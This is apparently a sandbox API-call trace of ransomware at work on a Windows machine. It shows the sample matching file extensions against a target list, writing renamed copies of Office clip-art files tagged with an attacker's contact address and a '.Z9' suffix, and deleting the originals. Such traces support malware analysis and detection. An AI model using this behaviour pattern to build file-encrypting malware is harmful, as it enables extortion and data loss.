	[0181.172] lstrlenW (lpString=".bz2") returned 4
	[0181.172] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0181.172] lstrlenW (lpString=".7z") returned 3
	[0181.172] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0181.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0181.172] lstrlenW (lpString=".dbf") returned 4
	[0181.172] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0181.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0181.172] lstrlenW (lpString=".1cd") returned 4
	[0181.172] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0181.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0181.172] lstrlenW (lpString=".jpg") returned 4
	[0181.172] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0181.173] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0181.173] lstrlenW (lpString="J0145904.JPG") returned 12
	[0181.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0181.175] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=39542) returned 1
	[0181.175] CloseHandle (hObject=0x388) returned 1
	[0181.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg")) returned 0x220
	[0181.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0181.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0181.176] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.176] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0181.176] GetLastError () returned 0x0
	[0181.176] ReadFile (in: hFile=0x388, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x9a76, lpOverlapped=0x0) returned 1
	[0181.802] WriteFile (in: hFile=0x560, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x9a80, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x9a80, lpOverlapped=0x0) returned 1
	[0182.528] ReadFile (in: hFile=0x388, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.528] WriteFile (in: hFile=0x560, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.528] SetEndOfFile (hFile=0x560) returned 1
	[0182.528] CloseHandle (hObject=0x560) returned 1
	[0182.529] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.529] SetEndOfFile (hFile=0x388) returned 1
	[0182.532] CloseHandle (hObject=0x388) returned 1
	[0182.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0182.751] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg")) returned 1
	[0183.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0183.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0183.017] lstrlenW (lpString=".doc") returned 4
	[0183.017] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0183.017] lstrlenW (lpString=".docx") returned 5
	[0183.017] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1
	[0183.017] lstrlenW (lpString=".pdf") returned 4
	[0183.017] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0183.017] lstrlenW (lpString=".xls") returned 4
	[0183.017] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0183.017] lstrlenW (lpString=".xlsx") returned 5
	[0183.017] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1
	[0183.017] lstrlenW (lpString=".ppt") returned 4
	[0183.017] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0183.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0183.017] lstrlenW (lpString=".zip") returned 4
	[0183.017] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0183.017] lstrlenW (lpString=".rar") returned 4
	[0183.017] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0183.017] lstrlenW (lpString=".bz2") returned 4
	[0183.017] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0183.017] lstrlenW (lpString=".7z") returned 3
	[0183.017] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0183.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0183.017] lstrlenW (lpString=".dbf") returned 4
	[0183.017] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0183.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0183.018] lstrlenW (lpString=".1cd") returned 4
	[0183.018] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0183.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0183.018] lstrlenW (lpString=".jpg") returned 4
	[0183.018] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0183.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0183.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0183.018] lstrlenW (lpString=".doc") returned 4
	[0183.018] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0183.018] lstrlenW (lpString=".docx") returned 5
	[0183.018] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1
	[0183.018] lstrlenW (lpString=".pdf") returned 4
	[0183.018] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0183.018] lstrlenW (lpString=".xls") returned 4
	[0183.018] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0183.018] lstrlenW (lpString=".xlsx") returned 5
	[0183.018] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1
	[0183.018] lstrlenW (lpString=".ppt") returned 4
	[0183.018] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0183.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0183.018] lstrlenW (lpString=".zip") returned 4
	[0183.018] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0183.018] lstrlenW (lpString=".rar") returned 4
	[0183.018] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0183.018] lstrlenW (lpString=".bz2") returned 4
	[0183.018] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0183.018] lstrlenW (lpString=".7z") returned 3
	[0183.018] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0183.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0183.018] lstrlenW (lpString=".dbf") returned 4
	[0183.018] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0183.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0183.018] lstrlenW (lpString=".1cd") returned 4
	[0183.018] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0183.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0183.019] lstrlenW (lpString=".jpg") returned 4
	[0183.019] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0183.019] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0183.019] lstrlenW (lpString="J0149018.JPG") returned 12
	[0183.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0183.020] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=27393) returned 1
	[0183.020] CloseHandle (hObject=0x548) returned 1
	[0183.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg")) returned 0x220
	[0183.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0183.021] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.021] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0183.022] GetLastError () returned 0x0
	[0183.022] ReadFile (in: hFile=0x548, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x6b01, lpOverlapped=0x0) returned 1
	[0183.126] WriteFile (in: hFile=0x3c8, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x6b10, lpOverlapped=0x0) returned 1
	[0183.127] ReadFile (in: hFile=0x548, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.127] WriteFile (in: hFile=0x3c8, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.128] SetEndOfFile (hFile=0x3c8) returned 1
	[0183.128] CloseHandle (hObject=0x3c8) returned 1
	[0183.128] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.128] SetEndOfFile (hFile=0x548) returned 1
	[0183.133] CloseHandle (hObject=0x548) returned 1
	[0183.133] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.134] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg")) returned 1
	[0183.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0183.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0183.135] lstrlenW (lpString=".doc") returned 4
	[0183.135] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0183.135] lstrlenW (lpString=".docx") returned 5
	[0183.135] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0183.135] lstrlenW (lpString=".pdf") returned 4
	[0183.135] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0183.135] lstrlenW (lpString=".xls") returned 4
	[0183.135] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0183.135] lstrlenW (lpString=".xlsx") returned 5
	[0183.135] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0183.135] lstrlenW (lpString=".ppt") returned 4
	[0183.135] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0183.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0183.135] lstrlenW (lpString=".zip") returned 4
	[0183.135] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0183.135] lstrlenW (lpString=".rar") returned 4
	[0183.136] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0183.136] lstrlenW (lpString=".bz2") returned 4
	[0183.136] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0183.136] lstrlenW (lpString=".7z") returned 3
	[0183.136] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0183.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0183.136] lstrlenW (lpString=".dbf") returned 4
	[0183.136] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0183.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0183.136] lstrlenW (lpString=".1cd") returned 4
	[0183.136] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0183.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0183.136] lstrlenW (lpString=".jpg") returned 4
	[0183.136] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0183.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0183.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0183.137] lstrlenW (lpString=".doc") returned 4
	[0183.137] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0183.137] lstrlenW (lpString=".docx") returned 5
	[0183.137] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0183.137] lstrlenW (lpString=".pdf") returned 4
	[0183.137] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0183.137] lstrlenW (lpString=".xls") returned 4
	[0183.137] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0183.137] lstrlenW (lpString=".xlsx") returned 5
	[0183.137] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0183.137] lstrlenW (lpString=".ppt") returned 4
	[0183.137] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0183.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0183.137] lstrlenW (lpString=".zip") returned 4
	[0183.137] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0183.137] lstrlenW (lpString=".rar") returned 4
	[0183.137] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0183.137] lstrlenW (lpString=".bz2") returned 4
	[0183.137] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0183.137] lstrlenW (lpString=".7z") returned 3
	[0183.137] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0183.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0183.137] lstrlenW (lpString=".dbf") returned 4
	[0183.137] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0183.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0183.137] lstrlenW (lpString=".1cd") returned 4
	[0183.138] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0183.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0183.138] lstrlenW (lpString=".jpg") returned 4
	[0183.138] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0183.138] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0183.138] lstrlenW (lpString="J0150861.WMF") returned 12
	[0183.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0183.140] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=8494) returned 1
	[0183.140] CloseHandle (hObject=0x548) returned 1
	[0183.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf")) returned 0x220
	[0183.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0183.141] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.141] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0183.142] GetLastError () returned 0x0
	[0183.142] ReadFile (in: hFile=0x548, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x212e, lpOverlapped=0x0) returned 1
	[0183.172] WriteFile (in: hFile=0x3c8, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x2130, lpOverlapped=0x0) returned 1
	[0183.173] ReadFile (in: hFile=0x548, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.173] WriteFile (in: hFile=0x3c8, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.174] SetEndOfFile (hFile=0x3c8) returned 1
	[0183.190] CloseHandle (hObject=0x3c8) returned 1
	[0183.193] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.193] SetEndOfFile (hFile=0x548) returned 1
	[0183.255] CloseHandle (hObject=0x548) returned 1
	[0183.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.256] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf")) returned 1
	[0183.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0183.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0183.257] lstrlenW (lpString=".doc") returned 4
	[0183.257] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.257] lstrlenW (lpString=".docx") returned 5
	[0183.257] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0183.257] lstrlenW (lpString=".pdf") returned 4
	[0183.257] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.257] lstrlenW (lpString=".xls") returned 4
	[0183.257] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.257] lstrlenW (lpString=".xlsx") returned 5
	[0183.257] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0183.257] lstrlenW (lpString=".ppt") returned 4
	[0183.257] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0183.257] lstrlenW (lpString=".zip") returned 4
	[0183.257] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.257] lstrlenW (lpString=".rar") returned 4
	[0183.257] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.257] lstrlenW (lpString=".bz2") returned 4
	[0183.257] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.257] lstrlenW (lpString=".7z") returned 3
	[0183.258] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0183.258] lstrlenW (lpString=".dbf") returned 4
	[0183.258] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0183.258] lstrlenW (lpString=".1cd") returned 4
	[0183.258] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0183.258] lstrlenW (lpString=".jpg") returned 4
	[0183.258] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0183.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0183.258] lstrlenW (lpString=".doc") returned 4
	[0183.258] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.258] lstrlenW (lpString=".docx") returned 5
	[0183.258] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0183.258] lstrlenW (lpString=".pdf") returned 4
	[0183.258] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.258] lstrlenW (lpString=".xls") returned 4
	[0183.258] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.258] lstrlenW (lpString=".xlsx") returned 5
	[0183.258] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0183.258] lstrlenW (lpString=".ppt") returned 4
	[0183.258] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0183.258] lstrlenW (lpString=".zip") returned 4
	[0183.258] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.258] lstrlenW (lpString=".rar") returned 4
